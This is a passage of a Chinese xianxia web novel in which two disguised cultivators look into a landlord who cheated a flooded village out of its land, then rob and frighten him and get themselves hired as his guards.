便出言道:“公子,我听闻大家都叫你彭秀才,敢问你可是要参加这次的乡试。”
彭秀才坐在马上,听她这样说,便明白了她的意思,笑了笑道:“在下确实姓彭,姑娘不必放在心上,这伤阻止不了我参加乡试的。”
“那为何这一路见你有些闷闷不乐。”
彭秀才闻言又叹了口气:“倒不是乡试的事,是这附近的铁河沟村的事儿,我这腿受了伤,最近定是没办法帮上他们了,等后面又要去往省城参加乡试,这一耽搁,恐怕他们托我的事儿就完不成了。”
“彭公子可愿说给我们听听,或许有能帮上忙的。”江元郁说道。
“也没什么不能说的,咱们这石门县附近有个铁河沟村,因地势较低,去年被水淹了地,村民们辛苦种植的粮食蔬菜全遭了殃。”
“县里的大地主叫牛永志,得知了这个消息就去找到了铁河沟村的村长,说可以借他们一笔钱,助他们度过难关,只要他们第二年能按四分利还上钱就行,虽然这个利息有点高,但确实解了他们的燃眉之急,也给了他们希望,村长和村民们就高兴地签了契约,还对他感恩戴德。”
孟归芸和江元郁对视一眼,看这样子村民是被骗了。
“但实际上,牛永志早就算好了他们根本还不上这笔钱,私下偷偷叫人去破坏他们种下的东西,还被村民碰到过一次,可惜叫那人给跑了。”
“今年这还钱时间一到,村民们哪拿得出这个钱,牛永志就把当时签的契约拿出来,说村民当时把地抵押了,如今这地归他了。”
莲夏气愤道:“这牛永志也太不要脸了!”
彭秀才越说越生气,手都捏得骨头泛白了:“村民们这才联想起来,原来他们是被这牛永志给坑了,可惜官府根本不管这事儿,他们知道我有功名在身,便来请我帮他们。”
拳头蓦地又松了:“可我不仅没见到知县,如今这样也不知该如何帮他们了,我真是无颜再见到他们啊……”
“彭公子……我,我,对不住啊……”莲夏没想到她竟耽误了一村人的事。
“姑娘,你可别说了,再说我都要害臊了,
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真不怪你们,是我自己当时走路在想事情,心不在焉的,这才出了事,倒是连累了你们。”彭秀才也有些不好意思,人家好好的骑着马,自己非往马下面钻。
孟归芸朝着江元郁使了个眼色,江元郁微微点了点头,笑着对两人道:“咱们就听彭公子的,谁也别道歉谁也别争了。”
又对彭公子说道:“这事儿也不是一时半会儿能解决的,不如你先好好休息,先把身体养好,明日我先去你家帮你把要做功课的书籍取来可好?”
彭秀才拱手道:“那就麻烦这位公子了,待到了客栈我写份单子给你。”
说到这里,彭秀才才突然想起,他们说了这么久,竟还没有问问对方姓什么:“小生彭言,真是失礼了,还未请教各位贵姓。”
“在下姓蒋,名有,这位是家父,这两位是家妹。”
客栈里,江元郁将彭言背到了房间,将他写的单子揣进了荷包里,随即拿出一瓶药丸:“彭公子,我这里还有一点家传的药方做的药丸,对于骨肉修复十分有效。我年少时时常乱跑,受了伤多亏了这药丸,让我如今还活蹦乱跳的。每日一粒,你可以试一试。”
彭言心里颇有些惭愧,他没钱还他们,还总接受他们的好意,但他不是扭捏之人,只拱手道:“多谢蒋兄!”
江元郁冲他爽朗一笑:“客气。”
随后江元郁便去了宏安的房间,孟归芸和莲夏已经在里面等着了。
宏安:“老规矩,你们自己看着办吧,我听听就行。”
莲夏对这牛永志的行为很是不满:“彭公子一看就是个好人,他马上就要参加乡试了,还愿意帮村民们讨公道呢!”
孟归芸温和地对她笑笑:“莲夏,一个人表面看起来在做好事,实际上也有可能是在为自己谋划。有些人表面受人爱戴,实则也可能是打压百姓最深的人。事实如何,我们要自己去看去听,才能在心中有所判断。”
江元郁点点头:“没错,虽然这彭秀才看起来在百姓中挺受爱戴的,但我们也不能听信一家之言,明天我去彭家村帮他取东西的时候顺道打听一下,师妹你去铁河沟村吧,咱们分开行动,如何?”
“好。”
“小姐,我想跟您一起去,这次你们会有这事儿,也是因我而起,我也想做点儿什么。”莲夏嘴角耷拉着。
“带你去当然没问题啊,只是莲夏,不要太过责怪自己了,这件事你并非有心,那彭公子说得也没错,是他自己绊倒在先,你已经尽力在做你能做的事了,不是吗?”
听到这里,江元郁瞳孔蓦地放大,抬眸向孟归芸看去。
孟归芸察觉到他在看自己,也迎着他的目光看来,冲他微微一笑。
江元郁心头微微一动,师妹还记得他说过的话。
她当然记得,师兄总是护着她关心她,她却将难堪带给了师兄,今后她必不会再提那事,若有能帮上师兄的,她也会竭尽全力。
26. 铁河沟村(二)
"大娘,我是彭言的朋友,蒋有,受他之托来家里帮他取点书。"江元郁把彭言写的单子递给了彭母。
彭母看着面前这男子,与她儿子差不多的岁数,长得那叫一个俊啊,面上还挂着温和的笑容,嘴角不自觉地就裂开了:“诶诶。”
旁边带路的大婶儿对着彭母挤眉弄眼的,秀才他娘,给我家妮儿问问他娶妻了没。
彭母这才有点回神了,什么跟什么啊:“请问公子,彭言是被什么事绊住了,怎么不自己回来取?”昨天光让人带话说有事,她这心里也有点没底。
彭母一边说一边将大婶儿往外推,让她赶紧回家。
“不敢不敢,大娘叫我名字就行。这不是快乡试了吗,石门县的一些学子知道他学问好,非要将他留下替他们答疑。”说着涩然一笑,摸了摸鼻子,“我学问一般,就被他们派来取东西了。”
“哦哦,是这样啊。”彭母也就没多想,从前也总有人慕名而来找彭言,有请教功课的,也有求他办事儿的。
她就担心彭言这次去帮铁河沟村的事儿被为难了,不是这事儿就好:“你跟我来吧,我认识的字儿没几个,就麻烦你来找一下。”
“好的,大娘。”
江元郁随彭母进了屋,屋里也如堂屋一样,十分简陋,但整洁有序,只是这书可不少,看着约莫也有百来本了,其中有几本还是精工制作的,与这家里的条件极不匹配。
他状似随意道:“彭言的书不少啊,难怪他这么厉害,想必大娘你们供养他也十分辛苦吧。”
彭母笑笑,面上带着些骄傲:“嗨呀,我们这样的人家哪儿给他买得起这么多书啊,最开始他都是自己偷偷跑去听别人上课的,后来我和他爹见他着实喜欢读书,才给他买了第一本书,看他着实争气,才咬咬牙决定送他去上了私塾。”
彭母看了江元郁一眼,才想到自己又开始跟人摆陈年旧事了:“不好意思啊,说着说着就说多了。”
江元郁笑笑:“没事的,大娘,我也一直很佩服彭言的学问,能听您讲讲他的事儿我很开心。”
彭母见他这样说,心里也开心,捡了重点继续说道:“就是自从他三年前成了秀才,来求他的人就不少,他是个热心肠的,只要他能做到的,他都愿意帮人家,送来的礼他都不收。”
“但送书的,他却舍不得拒,大家渐渐就都知道他爱书,送来的东西也就变成书了。”
说着,彭母又有些感伤:“这有些确实家里也没什么钱,但都是知恩图报的,几个人十来个人凑着钱,也会送来本书,现在他索性书也不收了。”
“彭言也太谦虚了,从来不在我们面前提起这些事儿,这趟跑腿跑得值!”江元郁已将书都收拾好了,“大娘,您看您还有什么话要带给他吗,我别的不行,传个话还是行的。”
“你这孩子,别这么说自己。”彭母虚虚朝他一挥手,这孩子人真好啊,不仅帮彭言拿东西,还一直夸他,她这个做娘的都不好意思再说了。
彭母又从腰间摸了荷包出来,里面倒出了些铜板数了数,自己留下了些,将剩下的装进荷包里递给了江元郁:“麻烦你把这个荷包带给他,昨天他出门的时候,身上只带了几个铜板,这还要在城里住几天,钱肯定不够。”
江元郁把荷包推回去:“不用不用,本就是我们求着他帮我们讲学,食宿肯定是我们出了,不给他钱都算是我们占他便宜了。”
“彭言肯定不应。”彭母还想往他怀里塞。
“哎呀,大娘,您就当心疼心疼我,这个钱我可不能拿,拿了回去要被他们笑话的。”
彭母见他一脸着急,这才笑着作罢了。
江元郁提着书走了,想着等会儿坐村里的牛车去县城,再多听一些人说说。
铁河沟村,孟归芸和莲夏见前面大树下,有几个农妇聚在一起,走近了些才看清,她们身上的衣服洗得有些发白,补丁也不少,手上要么绣着衣服,要么编着竹篓、草席一类的物品,嘴里虽然说着话,但手里的活是一点不慢。
莲夏擦擦额头上的汗,对她们道:“几位大娘,我和姐姐来附近山上采药,水袋不小心掉了,路过这个村子,实在是渴得不行了,想跟你们讨口水喝。”
农妇们抬头,见是两个年轻女子,模样一般,皮肤也有点黑,各背着一个背篓,袖口和裤腿都有些脏,鞋上还带着些泥土。
几位农妇听这丫头声音脆脆的,好听得很,又有礼貌,心下便多了些好感。
其中一位身子稍微胖点的,穿着酱红色衣服的农妇头往旁边伸了一下:“过来坐会儿吧,看你们这样也是走了不少路了,等着啊,我去给你们拿两碗水来。”
说着便起身进了后面的一间屋子,随后给她们一人端了碗水来。
两人道了谢,莲夏笑得眼睛弯弯:“谢谢大娘,这是我姐姐叫大丫,我叫二丫。”
“我姓马,两位姑娘看着面生,是哪儿的人啊?”酱红色衣服的农妇问道。
“马大娘,我们是藕塘村的,这次跟着爹来石门县卖药材,早就听说铁河沟村这边山上的药材长得好,今天天还没亮,我和姐姐就出发来这山上了,说起来我和姐姐还是第一次来这儿呢。”
旁边一位穿藏蓝色衣服的农妇叹了口气:“今年你们怕是挖不到什么好药材了。”
莲夏眉毛抬起:“可不是,我和姐姐上山找了这么久,也没找到几株,大都被人挖了,连幼苗也没多少,这采药可不能这样采。”
“而且我素来听闻铁河沟村的地好着呢,这一路走来,怎么看地里农作物稀稀拉拉的。”
她们一提到这事儿就糟心,几个人都开始抱怨了起来:“哎哟,你们是不知道啊,我们被牛永志那个龟孙儿骗惨了!”
“去年我们这儿遭了灾你们听说了没?”
莲夏和孟归芸点点头:“听说去年那次淹得可厉害,房屋都垮了好些。”
“啊,去年可惨了,人都没了十来个,那狗日牛永志知道了这消息,来跟我们说愿意借我们钱,我们高兴坏了,还把他当恩人,千恩万谢的,逢人就
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夸他啊,他那二女儿还三不五时地带东西过来看我们。”
另一名微胖的农妇双手狠狠往腿上一拍,给莲夏看得肉疼:“结果啊!人家早算计上我们了,早先还好,等到地里庄稼开始长起来了,田里时不时就出点事,要不是田里庄稼被踩了,要不就被挖了,还有被啃了的痕迹。我们还以为是山上的动物,饿狠了来弄的,但怎么设陷进都抓不着。”
“就有一次,我家那口子不信邪,半夜就一直盯着地里,连续盯了好几天,终于等来了,但等来的可不是什么动物,是几个鬼鬼祟祟的人!呸,说他们是畜牲也没错。”
“我家那口子当即就冲上去了啊,那几个人一看有人来了,转身就跑,根本追不上!”
莲夏听着都着急:“那你们后面咋办的啊?”
“后面大家就几个人轮流守着,那群人应该是发现了,再也没明着来过,但发现的时候都是前几个月了,庄稼地都被坏得差不多了。”
马大娘手往前一伸,上下扑了几下:“哪是啊,一开始我们都光顾着注意被踩了这些,被他们给忽悠过去了,这些人太狠了,还往地里浇了不少没处理的肥,庄稼大都被烧死了,重新种哪儿还来得及啊!”
那穿藏蓝色衣服的农妇用手抹了抹眼睛:“这时间一到,他们就立马上门来要债了,我们哪儿还还得出来,他们就拿出契约,让我们用地抵债。”
其他几名农妇情绪也低落了起来,一声接着一声的叹气:“要真是连着两年天灾,我们也认命了,可这分明就是牛永志坑骗我们的!”
孟归芸问道:“那你们没找官府吗?”
“找了啊,能不找吗?可官府的人说我们一没证据二没证人,还签了契约,他们管不了。”
“所以如今这山上的药材也好,野菜也好,都被我们挖得差不多了,这庄稼一时半会儿也种不了,男人们都去城里找工了,我们也在家接了点活计,总还是要活下去。”
“你们都不知道,我们这样的都算好的了,那村尾那几家比我们还穷,身子又弱,活计也不好找,早几个月家里就没吃的了,我们东一家西一家的给他凑了点儿,也不知道还能坚持多久……”
“那现在呢?这田就给牛永志了啊?”莲夏一脸愤懑。
“拖着没给呢,那牛永志估计也知道我们撑不了多久,暂时没来了。”
马大娘用胳膊肘碰了碰莲夏:“诶,你听说过彭家村的彭秀才没?”
见莲夏点了点头,又继续说道:“那可是咱们石门县远近闻名的大好人,咱们就一起去求了他,他有功名在身,好跟官府的人说话,我们都想着这么大的事儿,怕他不答应。”
“结果他一听就答应了!”
莲夏抠抠脑袋,有些不好意思私下说彭秀才,毕竟她的马踩伤了人家的腿。但小姐说得对,得问清楚了才能决定该不该帮,该怎么帮:“不过这彭秀才人真这么好吗,他答应了能做到吗?”
一说起这个,众人又来劲了,纷纷拉着两人开始说起了彭秀才做过的好事。
27. 铁河沟村(三)
“你这药果然好用,昨晚上我吃了一粒,今天早上起来,腿都不怎么肿了。”彭言接过江元郁递来的包裹,“多谢,我爹娘没问什么吧?”
“我去的时候就你娘在家,问你被什么事耽搁了,我说是石门县的学子们扭着你讲功课呢。”江元郁在桌前坐下,给自己倒了杯水喝。
想了想,又问道:“你马上就要去省城参加乡试了,还去帮铁河沟村的村民们去官府申冤,不怕耽误了吗?”
彭言闻言一笑:“不怕蒋兄你笑话我,我对自己很有信心,读书这么多年,我的努力我自己清楚。况且如果妄想靠最后这一两个月的苦学,就想从万千学子中胜出,说出去都怕惹人耻笑。”
“再者,我去考取功名,也是为了有朝一日得皇上和朝廷器重,为官一方,造福百姓。虽然我现在并没有做官,但也有能够为这些百姓做的小事,那就不能视而不见,置之不理了。”
“彭兄大义,蒋某佩服。”江元郁举起水杯,道:“蒋某暂以茶代酒,敬彭兄一杯。他日若彭兄真的为官一方,请能谨记今日之言,为我等百姓主持公道。”
彭言听闻,赶紧用手撑着身子站直,面色肃然道:“必不敢忘!”
两人又聊了会儿,天已快黑了,孟归芸和莲夏还没回来,江元郁正打算出去找她们,突然想起那双鱼玉佩他们还没用过,不如趁此机会试试。
回到自己房间,江元郁以元气激活玉佩,试着对它说话。
孟归芸走在半路上,听见江元郁在叫她,往周围一看,并没有看见他。
“二哥,你看什么呢?”莲夏见她四处望着。
原来孟归芸和莲夏二人扮成了两兄妹,刚从各个酒楼街巷走访完,正准备回客栈。
“我听见大哥在叫我,你没听见吗?”
“没有啊。”
奇怪,以她和江元郁境界,还没有到可以通过神识沟通的地步。随即突然想起来,朝腰间看去,是玉佩:“师兄,你在客栈吗?”
耳中传来江元郁略带兴奋的声音:“是!你在哪儿呢,遇到什么事了吗?天都快黑了,我看你们还没回来。”
孟归芸嘴边也漾起一抹笑:“我们从铁河沟村出来后,见时辰尚早,就又到城里酒楼打听了一番。这会儿正往回走,一刻钟应该就能到了,我们回来再说。”
“好。”江元郁在房间里握着玉佩,脸上挂着憨笑。
好玉佩,真方便,真香!
莲夏见孟归芸突然不说话了,还笑了起来,奇怪得很:“二哥,你笑什么呢?”
孟归芸指了指腰间的玉佩,小声道:“师兄问我们什么时候回去。”
“哇,好神奇啊!”莲夏眼睛亮亮的,又怕别人听见,压低了声音,“你们说话我居然听不见诶,不用说出来的吗?”
“不用吧,我刚才在脑海中说话的同时,将元气送进玉佩,他就回我了,就说明他能听见。”
“好厉害!”莲夏赞叹道。
孟归芸笑着摸了摸莲夏的脑袋。
夜里,宏安的房间中,三人将自己探听得的消息分享了出来。
事实的确如彭言所说,且彭言的好名声在这十里八乡很是有名,他帮的人都是条件与他一般,甚至还要苦的人。
如今铁河沟村这事儿,普通人提供不了什么帮助,有能力的那些则是不愿意趟这浑水。
牛永志为富不仁,生性贪/婪,但人家分得清哪些东西省不得,逢年过节就带人往知县许项毅府上跑,许项毅要是处理了铁河沟村的这件事,那牛永志的礼的不是白送了嘛。
要说这牛永志名声差,烂事儿多。可架不住人家是真有钱,产业遍布石门县,米铺、酒楼、茶肆、绸缎庄这些来钱的生意都有,底下据说都不止死过两三个伙计。
他大儿子也不是个好的,经常逛青/楼妓/院,还强抢良家妇女,大前年还逼得一户农户之女自杀了。
这些都被压下来了,大家都只敢私下说,怕万一传到牛家人耳朵里被报复。
“师妹,依你看,我们该如何行事?”江元郁将目光投向孟归芸。
孟归芸脱口而出:“以彼之道还彼之身。”
“他既然这么喜欢欺压百姓,视人若牲畜,那我们也让他尝尝这滋味。”
孟归芸与江元郁伏在房顶上,这牛宅院落之大,怕是三个知县府也比不上,且听说在石门县二十里外还建了一座规模更大更奢华的山庄。
宅子里不仅装饰豪华,还养了不少家丁护院,巡逻的人都有好几波,看那些人的姿态,功夫都不会太低。
孟归芸忍不住道:“这牛永志还挺惜命的,有权有势之人他不会去惹,对付普通百姓,这些人却是足够了。”
难得听她吐槽,江元郁笑道:“都是些三脚猫的功夫,挨不了师妹你一掌,咱们走吧。”
两人避开这些巡逻的护院,开始从正房搜查,将能找到的地契、银票都揣在身上。
江元郁正琢磨着这金银珠宝都不好带走,要不要揣点在身上,转眼却见孟归芸已经扛起一箱珠宝,给他使了使眼色,准备出去了。
江元郁愣了会儿,抿了抿嘴,心里想着,还是师妹有气魄,来都来了,又不是扛不起,怎么能放过。
不过他立马又想起来了,轻轻拉了下孟归芸的袖子,悄声道:“师妹,我记得今天下午商量事情的时候,师父给了你一个锦囊,不如咱们先打开看看呗,不然的话岂不是就直接回去了。”
孟归芸把箱子放下,掏出了锦囊,打开一看,是一枚银质的菱形小挂件,旁边有张小纸条:“储物法器,借你们用,念出口令‘师父最厉害’即可启动”。
江元郁:“师父好幼稚。”
孟归芸:“师父最厉害。”
两人将东西都打包进去,带走。
第二天一早,一声尖叫吓得牛永志滚下了床,牛永志
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从地上爬起来,没好气地道:“大早上的发什么疯!”
床上的女子哆哆嗦嗦地抬起手指着斜上方,牛永志顺着妻子的手往上看去,见他床头立柱上插着一把短刀,带着一张纸,上面写着“七日内备好十万两,否则杀你全家”。
听见动静的婢女进来,吓得回头就跑,跌跌撞撞跑去叫了管家来。
管家听说后急匆匆地带着护院首领赶来了,这会儿正跪在地上,牛永志又害怕又愤怒,指着那柄刀:“你们这些废物!我好吃好喝的养着你们,结果有什么用!别人都闯进我房间了!!!”
护院首领抬头看了一眼,立马又低下头:“老爷,这刀都已经穿过了床柱了,按理说这动静应该足以让您当时就醒来。但您毫无察觉,说明此人武功极高,以在下的估计起码是个化劲的高手,已远不是我们能对付的了。”
牛永志啪的甩了护院首领一个巴掌,还待继续发火,外面又有小厮跑来,顾不得行礼:“老爷,库房里的东西丢了!”
“什么?!”牛永志一下就站了起来,踉踉跄跄就往库房跑去。
只见那库房里,空空如也,什么都没了。牛永志突然想起来什么,又开始往回跑,到了卧室和书房发现两处放着的银票和地契都没了。
甚至他书房里那个只有他自己才知道的小机关,里面装着大额的银票和一些重要的契约书也没了。
他才明白过来,护院首领说的是真的,这人能在一/夜之间,搬了那么多东西,将他宅子上的东西搜了个干净,却连一个人都没惊动。
他不知道自己被哪路高手盯上了,明明自己从来不惹那些权贵啊,那些百姓能有几个钱请这么厉害的人,瘫坐在地上,脑子都不知道该怎么转了。
缓了一会儿,他才开始起身,立马带着人去找许项毅。
“知县大人,您可要救救我啊,这歹人太嚣张了,完全没将您这个父母官放在眼里,您管辖的地方,岂是他能为非作歹的。”牛永志在许府里哭喊着。
许项毅想着牛永志每年要给他上供那么多银两,他要是出事了,自己没了收入不说,这牛家上下几十口人,若是真死了,可是一桩大案,说不定官都降了。
就像牛永志说的一样,这是他管辖的地方,若他这能拿下这歹人,不仅能施恩牛永志,就说破获这么大案子的功绩,稍微活动一下自己就有可能再进一步,这忙他真得忙。
打定主意了,许项毅语气诚恳道:“哎呀牛老弟,咱俩这么多年的交情,我还能不帮你,但若真如你所说,这人的武功如此之高,就靠我们衙门的衙役和捕快怕是不行。”
眼看牛永志就要急起来,他安抚得朝他压了压手:“但你放心,我绝对不会坐视不理,我这就派人去卫所借兵。”
牛永志这才高兴起来,拱拱手:“那就多谢知县大人了,我就在这里与你一同等消息吧。”
许项毅摆摆手,连忙叫人去了。
28. 铁河沟村(四)
客栈里,宏安看着从储物法器中取出来,摆在自己房间的十来个大大小小的箱子,又看了看江元郁和孟归芸。
莲夏在一旁眼冒金光,这么多金银珠宝明晃晃的摆在眼前。
江元郁摸了摸后脑勺,笑道:“我和师妹想着反正都搬了,不如索性就搬完,给他们一点小小的震撼。”其实是师妹说的。
孟归芸带着肯定地点了点头,重倒是不觉得重,只是不太方便拿,自己还准备找几根长绳将它们捆在一起,还好师兄想起来了有锦囊。
“师父,这储物法器能给我和师妹一个不?”江元郁对这玩意儿很是心动。
宏安哈哈一笑:“并非为师不想给,而是要到了养神期,才能用灵识烙印认主使用。所以你们要抓紧修炼啊,为师已经给你们备好了,就等着你们突破的那一天了。”
江元郁给自己加了把劲,按照目前的进度,怕是再有两年就能突破了。
孟归芸问道:“莲夏,別庄那边办好了吗?”
莲夏立刻站直了身子:“小姐!已按您的吩咐将纸条用刀插在了门上,我没被他们发现。”
孟归芸冲她笑笑,又转头看向江元郁:“师兄,那边都安排好了吗?”
江元郁嘴角向上一翘:“放心吧,昨晚我就交代好了,保管他们借不到人。”
“什么?去剿匪了?”牛永志一听就不淡定了。
下面汇报的衙役看了他一眼,又对着许项毅继续说道:“卫指挥使大人今天一早就派人去了鳄山,估计没个十天半个月的回不来,卫所正常能调动的人本就不多,现下更无人可以借给我们了。”
许项毅心里纳闷儿,这鳄山的土匪都在那儿好几年了,也就一开始卫所派人去过一次,那次没成功,就再也没去了,怎么这会儿想起来了?
这时机未免太凑巧了些,他偷偷看了一眼牛永志,这家伙不会得罪什么权贵了吧?
“牛老弟,你看这……”
牛永志一听要十天半个月才回来,顿时就焉了,那时候黄花菜都凉了,自己还是赶紧去想办法的好,跟许项毅告了辞,匆匆走了。
不管怎么样,这钱还是先备上的好,只这家里都被洗劫一空了,城外別庄上倒是还有些现银,但也不过万来两银钱,加上铺子里还没交上来的钱,也还差得多,牛永志决定先去找其他老板借。
“牛老板,不是我不想借您,您也知道,我这最近刚买了个铺子,钱都在里面呢。”
“牛老板啊,我这个月酒楼可亏了不少钱啊,您这生意蒸蒸日上的,犯得着找我吗?”
“稀客啊牛老板!您说笑了,要说咱们这石门县谁最有钱,您说自己第二,就没人敢说自己第一啊。小弟最近手头有点紧,也就这点钱了。”
“哎呀,牛老板,您怎么找到我这儿来啦,您忘了我还欠着钱庄的钱呢,自己的账都还没还完,哪还有多的钱啊。”
牛永志这两天将石门县有钱的人家里跑了一圈,也就借了个三五千两银钱,但他这脸可是丢大了,从他记事起他就没这么求过人。
最终牛永志还是踏进了钱庄。
“三分利?掌柜的,你看我这就借一个月,能少点不?”三分利,一个月也要还将近三万两银子了,牛永志只觉得肉疼。
掌柜的笑笑:“牛老板,虽然您只借一个月,可这九万两银子不是小数目啊。”
“我们这都认识多少年了,我手下的资产,你还不清楚啊?两分,也不少了吧。”
“正因为我们认识这么多年了,我清楚,按理说这九万两银子对您牛老板来说,根本不是难事。而且您本来在我们钱庄就存着三万两呢,您说存钱的期票在老太太那儿,暂时拿不回来,我是信的,老太太毕竟不在石门县,您如今着急用钱,一来一回确实耽误时间。”
“但我们钱庄的消息也没有很落后吧,这石门县据我所知也没发生什么大事儿,您突然要借这么多钱,我心里也没底啊是不是。”
掌柜的又缓和了下:“牛老板,您看,一般人找我们钱庄借钱,怎么也得叫个担保人过来吧,我也是信任您啊,这么大的金额,若是非要个担保人,怕是不好找吧。”
这掌柜的说的也是实话,有几个人愿意担这么大风险啊。
虽然牛永志能有别的办法筹到钱,但等他拿到时候,怕是都一个月后了,这着急用钱还是只能从钱庄借,且这裕源钱庄是石门县最大的钱庄,其他的小钱庄加起来估计都拿不出这么多。
思索了半晌,牛永志还是决定借了,毕竟再多钱也得有命花不是?
回了牛宅,牛永志又将管家和护院首领叫来:“你们俩这几天去找几个高手过来保护我们。”又指着护院首领,“就找你说的那什么劲的高手。”
护院首领心里直叫苦,化劲高手哪是这么容易就能找到的,还要几个,还是这么短的时间内。
见护院首领没说话,管家接话道:“不知老爷愿意花多少钱雇佣他们?”
牛永志也不算傻,好歹知道这等高手都能来取他全家性命了,要是给低了,没人愿意来,咬咬牙:“若是通过考核,定金每人一千两银子,若能成功保护我与家人者,再追加五千两银子。”
虽说出来有些心痛,但他想着,若是这些人能打过那歹人,给了也就给了,总比丢了十万两银子强,若是打不过,那尾款自然也不用给了,心里还颇为得意。
这牛永志倒是舍得,护院首领想着这钱倒是不少,但他周围的人都是与他差不多的武功,只能再打听打听了,毕竟老婆孩子还在牛家手底下,现下只能应着:“是。”
牛永志又叮嘱了他们悄摸着通过自己的关系找,别声张出去被那歹人知道了,随后将管家留下:“牛飞扬呢?这几天都没看见他,家里都成这样了,又跑哪儿去鬼混了!”
管家一脸为难:“大少爷他,他在醉欢楼。”
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“把他给我抓回来!都什么时候了,他老子我在家急得觉都睡不好,他还在外面当大少爷呢!”
随即又想到,抓回来干嘛啊,抓回来万一那歹人真下狠手了,一家人全折在这儿了,虽然是个不成器的,但好歹是他的种。
牛永志烦躁地挥了挥手:“算了算了,别去了,准备一下,明天你亲自将小少爷送到別庄,让二小姐把小少爷带去躲着,若我们五天后没有去找他们,就让他们躲满七天再出来。”
那歹人虽然没把別庄的财物带走,但也在別庄警告了他们别想逃走,否则必定遭到追杀。
歹人应是盯着他们的,逃走的话目标太明显。婷婷知道別庄的地下室在哪儿,只希望若真出了事,歹人不会找到那地下室。
牛婷婷从管家手中接过了牛飞烨,別庄里现在还有几十名下人,她让管家将他们带走,放到田庄上也行,若没事了再回来。
管家哪肯做这多余的事,且这还有十来个原先被老爷安排来看住二小姐的护院,若是都撤走了,二小姐又跑了,老爷不将他的皮扒了才怪。
眼看着管家推脱着走了,她便拿些手上有的碎银子分了仆人们,让他们去外面躲几天,可仆人们哪敢。
仆人们知道二小姐心善,可牛老爷不是。被他知道了他们在这时候跑了,若是真没事了,别说他们是被抓回来,就算是自己回来,怕是也落不了好,纷纷跪在地上。
牛婷婷知道他们不肯走是怕被罚,但那歹人万一不放过他们,怕是都会枉送性命。而且她也不敢带他们一同进地下室,别说装不下这么多人,就算装得下,爹也不会允许他们知道地下室的存在。即使一时能保住他们的命,事后爹也不会留他们活路。
她叹了口气,事到如今,只能祈祷歹人如约拿了钱就放过牛宅上下,挥了挥手让他们下去了。
牛飞烨乖乖地靠在她身边,他如今五岁了,知道家里出了点事儿,否则爹爹不会单独把他送来別庄,向来爱笑的二姐也不会这么唉声叹气。
见牛飞烨担忧地望着她,牛婷婷强撑起笑容,摸了摸弟弟的头,说了声没事的之后,便带着他去园子里玩儿。
牛永志家的酒楼二层的包厢里,牛宅那护院首领找了几个消息灵通的弟兄,坐在一起商量,看他们能不能想到什么法子联系得到几位化劲高手。
可别说只小县城里哪来的化劲高手,就连一府之地都不会有太多的化劲高手了。毕竟按照大成国的规矩,化劲高手那是有资格在府城衙门担任各部副手的。
一时间护院首领也不知如何是好,只得不停的叹气,然后再喝酒,再叹气。
隔壁的孟归芸和江元郁将他们的话听了个干干净净。
“这牛永志还挺下血本的。”
“师妹,我们再去捞他一笔。”江元郁脸上浮起一抹坏笑。
孟归芸立马明白他什么意思,也绽开了笑颜道:“好啊。”
29. 铁河沟村(五)
又过了两日,护院首领带着两名护院在街上走着,眼瞅着只剩下两天时间了,他祈祷着自己能走个狗/屎运,在大街上遇见个化劲高手。
虽然知道这个想法不可能,但人总有点侥幸心理,更何况他待在牛宅也只会被骂,还不如出来溜达会儿。
突然后方传来一声男子的大喝:“站住!”
随即他便被撞开,一个瘦小的人影从他面前跑过,一看就是个偷东西的,紧接着一名中年男子踩着轻功追来,一掌朝着那小贼而去,没想到小贼竟还会点拳脚功夫,翻身躲开了这一掌。
但中年男子的武功可不是这小贼能比的,当即变化手臂轨迹,将那小贼抓了个正着,四周爆发出一阵阵的叫好声。
这时有一妇女从人群堆里扒拉了出来,气喘吁吁道:“我的荷包,我的荷包!”
中年男子将小贼怀里的荷包抢了出来,递给妇女,这妇女感激地直道谢,中年男子摆了摆手示意她不必客气,便打算拎着这小贼去官府了。
护院首领可高兴坏了,这不就天上掉馅饼了吗?他刚才可看出来这人武功不一般啊,他如今是个锻体后期,这人刚才展现出来的内劲可远不是他能比的,就算没到化劲,也是暗劲后期。
当即上前拦住了中年男子,努力克制住自己想大笑的表情:“兄台好身手!在下牛府护院首领柳大海,可否借一步说话?在下有事相商。”
中年男子打量了他一番,最终点点头跟柳大海到了一个无人的巷道里,那两名护院则在巷口看着小贼。
柳大海冲中年男子一拱手:“兄台,我是这石门县首富牛老爷家的护院首领。方才我见兄台身手了得,极为不凡,在下斗胆请教兄台是何境界?”
中年男子思索了几息,道:“化劲。”
柳大海眼睛一亮:“不知兄台是否有空在石门县耽搁几天?不瞒兄台,最近有一化劲的歹人,无故抢了我家老爷的财物不说,竟还想伤老爷一家性命。所以我家老爷想招募几位高手,护卫他一家安全。兄台放心,我家老爷为人阔绰,必不让兄台白白出手!”
眼见着中年男子面上仍有些犹豫,猜他定是不愿无故招惹这是非。但江湖中人又好名利,自己只需要再捧他一手。
他继续道:“兄台,只要您愿意来,我家老爷便愿意出一千两银子,若是兄台能成功护卫老爷一家周全,事成之后再奉上五千两银子。而且兄台能够在大街上仗义出手,必然也是性情高洁,心怀侠义的人物,可不能见死不救啊。”
如他所料,中年男子应了:“好吧,那我就接了这事,不知你们要招募几名高手。”
“自然是越多越好!兄台还有化劲的朋友?”
“这次我是与我兄弟一起来的,不过他是暗劲后期,不知你们是否需要。”
这不是打了瞌睡送上枕头吗?柳大海按下内心的欣喜:“没问题,只是我们老爷还需要考验各位一番,还请两位不要介意。”反正那牛永志也看不出来暗劲和化劲,还不是他说了算。
“好,那待我将这小贼送去官府,便带你们去找我兄弟,我们二人随你们一同去你们老爷府上。”
“诶,不用,小贼由他们送去就行。”柳大海指了指外面的两个护院,“咱们直接去找你朋友吧,还未请教兄台姓名。”
“在下庞义。”
“庞兄,请。”
伪装成庞义的江元郁,将他带到了另一家客栈,孟归芸已在那里等候。
柳大海又将两人带回了牛宅,牛永志亲眼见着两人隔空劈石,一剑穿墙,眼里满是震惊,终于是放心了些,只是不知他们俩与这歹人谁更厉害了,不知以后能不能留下这两人在府上做护卫。
赶紧叫管家取了银票来,亲自交到二人手上,并给他们安排了住处,看他们走远了,才又让柳大海去找官府的人查下两人。
柳大海跑完官府,回来禀告牛永志:“老爷,请放心,这两人均有正规路引,且姓名年龄都对得上,今早上才进的城,与客栈信息也对得上。”
牛永志又安心了一点,不是来抢钱的那歹人就好。
除了江元郁和孟归芸,牛永志他们也没再找到别的化劲高手,将他们好吃好喝地供着,就希望他们能在那天尽力保住自己。
孟归芸本来想让宏安也来的,宏安说他有的是钱,而且这种热闹见过太多次,就不来了,莲夏倒是想来,可惜修为还差得远。
